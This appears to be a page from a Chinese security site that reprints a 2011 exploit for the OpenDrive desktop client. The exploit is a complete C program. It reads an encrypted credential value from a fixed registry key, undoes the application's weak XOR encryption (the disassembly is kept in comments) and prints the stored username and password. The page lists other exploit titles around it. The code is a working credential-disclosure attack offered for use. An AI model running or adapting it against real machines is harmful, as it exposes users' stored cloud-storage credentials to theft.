首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenDrive <= 1.3.141 Local Password Disclosure
来源:glafkos[at]astalavista[dot]com 作者:Glafkos 发布时间:2011-06-07  

/*

Title: OpenDrive <= 1.3.141 Local Password Disclosure
Author(s): Glafkos Charalambous, George Nicolaou
Contact: glafkos[at]astalavista[dot]com, ishtus[at]astalavista[dot]com
Version: 1.3.141
Vendor: http://www.opendrive.com
Description: Authentication credentials used by the OpenDrive application are
prone to local disclosure attacks due to a weak cryptographic algorithm implementation

Encrypted Values:
[HKEY_CURRENT_USER\CLSID\{6E830710-B00F-4bec-9BD7-F95C1F837D02}]
"Data1"=hex:6b,c3,24,c3,69,c3,6f,c3,00,00,04,c3,52,c3,01,c3,53,c3,00,c3,56,c3,0b,c3,54,c3,00,00

Decrypted Values:
Username: 0x41
Password: d3c0d3m3

*/

#include <stdio.h>
#include <wchar.h>
#include <windows.h>

int ReadRegistryKey( LPBYTE lpBuffer, LPDWORD lpBufferSize, HKEY hKey,
     LPCTSTR lpszSubKey, LPCTSTR lpszValueName )
{
 HKEY hKeyLocal;
 int nType;
 if( RegOpenKeyEx(hKey, lpszSubKey, 0, KEY_READ, &hKeyLocal )
  == ERROR_SUCCESS ) {
  if( RegQueryValueEx( hKeyLocal, lpszValueName, 0, (LPDWORD)&nType,
   lpBuffer, lpBufferSize ) == ERROR_SUCCESS ) {
   return nType;
  }
  return -1;
 }
 return -1;
}

int GetRegistryValueSize( HKEY hKey, LPCTSTR lpszSubKey, LPCTSTR lpszValueName )
{
 HKEY hKeyLocal;
 unsigned long nSize;
 if( RegOpenKeyEx(hKey, lpszSubKey, 0, KEY_READ, &hKeyLocal ) == ERROR_SUCCESS ) {
  if( RegQueryValueEx( hKeyLocal, lpszValueName, 0, NULL, NULL, (LPDWORD)&nSize ) == ERROR_SUCCESS) {
   return (int)nSize;
  }
  return -1;
 }
 return -1;
}

void DecryptOpenDrive( unsigned short *ciphertxt, int len )
{
 short username[100] = {0};
 short password[100] = {0};
 
 int count = 0; // ECX
 int wchr = 0; // ESI
 int pos = 0; // EAX
 int round = 0; // EDX
 unsigned short tmp;
 short *output;
 output = (short *)&username;
 do {
  //00401626  |>  83F9 02       /CMP ECX,2
  //00401629  |.  7D 38         |JGE SHORT OpenDriv.00401663
  //0040162B  |.  0FB73453      |MOVZX ESI,WORD PTR DS:[EBX+EDX*2]
  //0040162F  |.  66:85F6       |TEST SI,SI
  //00401632  |.  75 0F         |JNZ SHORT OpenDriv.00401643
  if ( ( wchr = ciphertxt[round] ) ) {
   //00401643  |>  8D9A 5BC3FFFF |LEA EBX,DWORD PTR DS:[EDX-3CA5] // 0, 1
   tmp = round - 0x3CA5;
   //00401649  |.  33DE          |XOR EBX,ESI // ESI = ciph[0], ciph[1]
   tmp = tmp ^ (unsigned int)wchr;
   //0040164B  |.  8B748C 20     |MOV ESI,DWORD PTR SS:[ESP+ECX*4+20]
   //0040164F  |.  66:891C46     |MOV WORD PTR DS:[ESI+EAX*2],BX // out[0] = BX
   *output++ = tmp;
   //00401653  |.  40            |INC EAX // 0 -> 1
  }
  else {
   count++;
   if(count >= 2) break;
   //00401634  |.  8B748C 20     |MOV ESI,DWORD PTR SS:[ESP+ECX*4+20]
   //00401638  |.  33DB          |XOR EBX,EBX
   //0040163A  |.  66:891C46     |MOV WORD PTR DS:[ESI+EAX*2],BX
   *output = 0;
   output = (short *)&password;
   //0040163E  |.  41            |INC ECX
   //0040163F  |.  33C0          |XOR EAX,EAX
  }
  round++;
 }
 while(1);
 wprintf(L"Username: %ls\nPassword: %ls\n",username, password);
}

int main() {
 int nRegistryKeySize;
 LPBYTE buffer;
 if ( (nRegistryKeySize = GetRegistryValueSize( HKEY_CURRENT_USER, TEXT("CLSID\\{6E830710-B00F-4bec-9BD7-F95C1F837D02}"), TEXT("Data1") ) ) != -1 ) {
  buffer = (LPBYTE)calloc( nRegistryKeySize, sizeof(char) );
  if( ReadRegistryKey(buffer, (LPDWORD)&nRegistryKeySize, HKEY_CURRENT_USER, TEXT("CLSID\\{6E830710-B00F-4bec-9BD7-F95C1F837D02}"), TEXT("Data1") ) != -1 ) {
   DecryptOpenDrive( (unsigned short *)buffer, nRegistryKeySize );
  }
  else {
  wprintf(L"Error reading registry key\n");
  }
 }
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Xitami Web Server 2.5b4 Remote
·1ClickUnzip 3.00 .ZIP File Hea
·Xitami Web Server 2.5b4 Remote
·The KMPlayer 3.0.0.1440 .mp3 B
·discuz! X1.5 Get Shell 叉day[A
·IBM Tivoli Endpoint 4.1.1 Remo
·9959网店系统 v5.0 Blind SQL in
·IP Power 9258+ Authentication
·Easy RM to MP3 Converter (2.7.
·(Firefox & Safari & IE / RealP
·FLVPlayer4Free v2.9 (.fp4f) St
·CoolPlayer Portable 2.19.2 (.m
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved